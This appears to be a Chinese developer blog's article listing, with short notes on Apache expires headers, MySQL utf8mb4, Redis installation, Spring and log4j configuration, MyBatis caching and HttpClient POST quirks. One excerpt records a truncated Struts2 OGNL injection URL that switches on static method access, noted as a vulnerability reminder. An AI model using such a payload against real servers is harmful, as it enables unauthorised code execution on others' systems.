- 浏览: 513047 次
- 性别:
- 来自: 深圳
最新评论
-
di1984HIT:
学习了~~
jackson JSON对象映射出多余字段的bug -
lvye351:
当然,在tomcat还有JPDA这种方式 ,来远程debug: ...
配置linux下tomcat的远程debug -
hety163:
好,语言简单明了易懂
Http和Socket连接区别 -
高军威:
<b>行不行</b>
XSS转码 && struts2 property标签的bug -
chjy1983:
请教下,我这样:JSONObject jsonObject = ...
HttpClient4 POST数据及问题
文章列表
nginx+apache , proxypass模式,静态的cache control还是要放在apache这里:
1. 编辑配置文件
vim /etc/apache2/mods-available/expires.conf
<IfModule mod_expires.c>
ExpiresActive On
<filesMatch "\.(ico|pdf|flv|jpg|jpeg|png|gif|js|css|swf)$">
ExpiresDefault "access plus 3 ...
How to support full Unicode in MySQL databases
http://mathiasbynens.be/notes/mysql-utf8mb4
ENCODING: JAVA, MYSQL AND MULTI-BYTE UTF-8 SUPPORT
http://info.michael-simons.eu/2013/01/21/java-mysql-and-multi-byte-utf-8-support/
一,安装配置
1. 新版本可以make install的; 也提供了utils目录,一键加入开机启动脚本
2.设置了密码之后,脚本无法stop进程!!必须连上redis-cli, 输入shutdown
$ wget http://download.redis.io/releases/redis-2.6.16.tar.gz
$ tar xzf redis- 2.6.16.tar.gz //这里假设解压缩到/usr/local/redis
$ cd redis- 2.6.16
$ make
$ make install
$ cd utils ...
一、log4j 分环境配置:
1.在web.xml加入下面的配置, 托管给spring的helper来监听文件刷新
2. 分环境其实也容易, web.xml一样可以使用系统环境变量. 如下,在开发机tomcat启动参数里面配置一下 -Denv=dev 就搞定了。 默认读取 log4j-dev.properties. 正式环境就配正式环境的咯
<context-param>
<param-name>log4jConfigLocation</param-name>
<param-value>/WEB-I ...
Spring3.x中的几个异步执行
- 博客分类:
- 技术点滴
1.servlet3
细节可以阅读http://www.ibm.com/developerworks/cn/java/j-lo-servlet30/
现在通过使用 Servlet 3.0 的异步处理支持,之前的 Servlet 处理流程可以调整为如下的过程:首先,Servlet 接收到请求之后,可能首先需要对请求携带的数据进行一些预处理;接着,Servlet 线程将请求转交给一个异步线程来执行业务处理,线程本身返回至容器,此时 Servlet 还没有生成响应数据,异步线程处理完业务以后,可以直接生成响应数据(异步线程拥有 ServletRequest 和 ServletResponse 对 ...
Mybatis Cache探究
- 博客分类:
- 技术点滴
这里先不讨论第三方的cache集成(有memcache/oscache集成,控制力度跟下面说的一样比较粗,也可以跟spring3的cache做集成, spring3的cache是基于方法的缓存,具体可以在github找一下Spring MyBatis Memcached Bootstrap)。
先使用最简单的配置cache,比较粗放:
一,官方手册
http://mybatis.github.io/mybatis-3/zh/sqlmap-xml.html#cache
<cache/>
字面上看就是这样。这个简单语句的效果如下:
映射语句文件 ...
由昨天下班前的一段对话引出:
“A:折腾了一天,总算吧时间间距n个月算法写好了”
“B:出于经验,calendar类或者是common.lang肯定有现成函数”
直接贴代码。
System.out.println(DurationFormatUtils.formatPeriod(new Date("2012/05/05").getTime(), new Date("2013/08/07").getTime(), "y-M-d"));
函数来自common.lang包,2.x-3.x都有实现。 ...
如下web.xml示例:
part1.用spring的配置加载contextConfigLocation
2.配置spring-mvc的contextConfigLocation
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>
classpath:spring-*.xml
</param-value>
</context-param>
------------------ ...
spring3-基于注解的AOP
- 博客分类:
- 技术点滴
要点:
1.aop的概念真的很多。。。其实从使用出发无非两点:1,定义要拦截的方法,2,实现拦截后的操作方法。
2.基于注解的@Aspect需要配合bean声明来用,不然不报错,不执行。。官方doc貌似没提倒。
3. 注入的bean对象,访问其属性需要生成get/set方法, 如果直接访问也会出现空指针。
@Autowired private MemCacheService memCacheService;
//报空指针
memCacheService.memcachedClient.set();
//下面方法ok
memCacheService.getMemca ...
翻了一下,上一篇blog还是2012-05-23。 近些年做的东西很杂,几乎都不跟java沾边, 也就荒废了。
2013年5月出来创业,做后台选型,最终在php,java权衡后,回归了java。 一个月的捡起,又收获了一些心得分享:
1.maven3 +eclipse maven实在属于不可错过的java项目生命管理过程, 完善的依赖管理,打包,doc,测试和CI插件。 起步有一定门槛,但值得一试。
2.CI-持续集成, 选用了hudson(war包下载直接tomcat启动) ,有什么比代码提交svn,就可以自动编译,测试,生产javadoc,代码检测,热部署t ...
post 方式挂参数的三种格式, mark一下。
其中尤其需要注意的是下面这个error()的调用方法,使用到MultipartEntity 带3个参数的完整 , 会导致请求参数在服务器端无法获取到post参数!
MultipartEntity multipartEntity = new MultipartEntity(HttpMultipartMode.STRICT, null, charsetObj);
but上面这个new MultipartEntity,如果使用无参的构造函数则一切ok, public MultipartEntity()
-- ...
一个不错的模版,可以用来分析团队困境, 思考解决之道。
其实大多数事情都是有方法可循的,比如给老板的汇报,做演讲的ppt内容。
struts2-ognl mark
- 博客分类:
- 技术点滴
暂时mark在这,后面再补充
1. 关于漏洞的问题
http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action
2.0.9不行
http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.deny ...
好吧,从晚上9点折腾到11点半,仅仅是为了把电脑的系统隐藏分区给合并到c盘。。目标看起来简单清晰,可是实际操作中合并c盘仅用了不到10分钟,剩下的工作全部用来解决合并后磁盘消失、数据搬迁、重新分区上了。
however,跟人打交道的事情,看起来更麻烦:
1.如何考量团队氛围?
是不是有消极情绪(比如连续加班,私下的抱怨),是不是缺少主动担当的队员? 我始终赞同“自我学习型团队”的效率。 但是构建一个单纯&积极向上的组织真的是有点难,除非有着高度的影响力,去潜移默化的改变团队的斗志。
2.如何将合理的工作,合适的分配到合适的人?
每个人真的都不太一样,千 ...